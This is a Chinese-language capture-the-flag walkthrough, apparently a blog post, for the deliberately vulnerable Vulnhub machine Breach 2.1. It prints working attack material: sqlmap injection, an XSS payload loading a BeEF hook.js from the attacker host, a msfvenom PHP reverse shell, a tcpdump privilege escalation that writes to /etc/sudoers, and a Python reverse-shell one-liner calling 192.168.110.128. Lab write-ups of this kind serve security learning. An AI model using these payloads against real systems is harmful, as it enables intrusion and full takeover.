zoukankan      html  css  js  c++  java
  • Vulnhub-靶机-BREACH: 2.1

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

    地址:https://www.vulnhub.com/entry/breach-21,159/

    根据提示vulnhub官网提示,此靶机是固定IP地址,IP地址为:192.168.110.151

    使用nmap进行扫描

    nmap -n -Pn -sS -p- -sV 192.168.110.151 -v --open --script "http-title or default" -oA 192.168.110.151_$(date "+%Y-%m-%d")

    看到开放了ssh端口65535,使用ssh连接看看

    随便试试几个默认口令或者跟用户名一样的密码,没有成功,但是看到提示Peter的密码是inthesource,使用ssh连接之后再次检查目标靶机会有个blog可以访问

    此时再次扫描目标靶机

    发现开放了80端口,也就是上面提示的那个blog,我们使用dirb首先跑一下

    发现了一个blog的目录,访问一下

    看到有个搜索框,丢个单引号过去试试看看

    凭经验应该是存在sql注入的,那么我们使用sqlmap跑一下

    sqlmap -u "http://192.168.110.151/blog/index.php?search=" --dbs

    最终是确认跑出来了admin的密码

    丢到cmd5上查了下得到了密码

    admin/32admin 这个先放着,我们先看看这个目标靶机是否存在nday,丢到Google上看看

    得到如下对于的exp

    这里为了利用存储下xss,我们直接使用kali环境下的beef攻击框架,详细使用方法:https://blog.csdn.net/whoim_i/article/details/102877616

    在kali上安装好beef框架之后,开启beef 

    然后开始利用目标靶机的漏洞

    根据https://www.exploit-db.com/exploits/17640 的提示,访问目标靶机的注册页面,然后输入<script src="http://192.168.110.128:3000/hook.js"></script> 攻击代码,密码和邮箱字段随便输入提交即可

    提交成功之后访问http://192.168.110.151/blog/members.html 即可触发漏洞,此时便会在beef框架上看被控制端,具体过程如下:

    再根据Redirect Browse配合metasploit拿个反弹shell

    得到http://192.168.110.128:8080/shell 将这个shell环境丢到beef框架下的Redirect Browse执行

    成功拿到shell

    cat /etc/ssh/sshd_config

    发现之所以登录peter被踢出来是因为执行了startme,那么我们丢一个执行shell的文件到.bashrc里面,让peter这个用户在登录成功之后执行shell进行可交互的shell命令行

    执行echo "exec sh" > .bashrc

    再次登录目标靶机使用peter这个用户

    通过cat /etc/passwd 发现还有个用户milton和blumbergh

    再看看网络连接状态

    看到2323这个不常见的端口,我们连接看看

    发现上述地理位置信息,使用map.google.com访问看看

    这个靶机是老外搞的,试试英文的单词休斯顿Houston 将这个地名作为账户milton和blumbergh的密码进行尝试登录看看

    确认使用账户milton的密码是对的,但是登录成功显示上述一些信息之后就断开连接了,显示的信息是有关stapler

    根据关键字搜索

    找到上述路径代码,看下代码内容

    知道了原因就是因为执行这个代码3秒钟内没有回答正确就会被断开连接,所以现在看到了代码知道登录答案,那么我再试一把,答案是mine

    此时已经登录成功,再次查看网络连接状态,发现开放了8888端口

    访问8888端口看看

     使用命令dirb进行目录爆破,发现了目标的后台登录地址

    刚开始使用上面破解出来的账户和密码admin/32admin登录,发现登录失败,于是试试admin/admin居然登录进去了,登录成功找到了文件管理的位置,确认有可利用的位置

    这里能上传文件,那么姿势就非常多了,可以使用kali自带的php-shell,也可以使用msf生成,生成的命令

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f raw -o meterpreter.php

    我这里偷懒直接上传个webshell,名称为shell.php 然后直接访问 http://192.168.110.151:8888/oscommerce/includes/work/shell.php 即可

    看看sudo的权限

    确认可以使用tcpdump进行提权

    执行下面两条命令进行提权

    echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/bmfxtq && chmod +x /tmp/bmfxtq
    sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/bmfxtq -Z root

    上述是执行了提权的命令,看看效果

    发现是已经执行成功,可以直接使用sudo -i命令进行提权,但是由于是webshell,不是tty环境,所以暂时无法切换,那么我们反弹一个shell生成tty环境试试

    这里反弹shell方法很多哈,我就使用其中一种,具体反弹shell脚本如下:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.110.128",8856));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    生成python的交互式shell为了后面生成完美tty-shell做准备

    python -c 'import pty; pty.spawn("/bin/bash")' 

    开始生成完美tty shell,具体操作如下:

    在键盘上按住Ctrl+Z
    此时便退出了当前的反弹shell
    在当前的shell 执行 stty raw -echo
    fg

    使用sudo -i进行提权

    获取flag,并执行

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    cf B. Sereja and Suffixes
    cf E. Dima and Magic Guitar
    cf D. Dima and Trap Graph
    cf C. Dima and Salad
    最短路径问题(floyd)
    Drainage Ditches(网络流(EK算法))
    图结构练习—BFSDFS—判断可达性(BFS)
    Sorting It All Out(拓扑排序)
    Power Network(最大流(EK算法))
    Labeling Balls(拓扑)
  • 原文地址:https://www.cnblogs.com/autopwn/p/13634310.html
Copyright © 2011-2022 走看看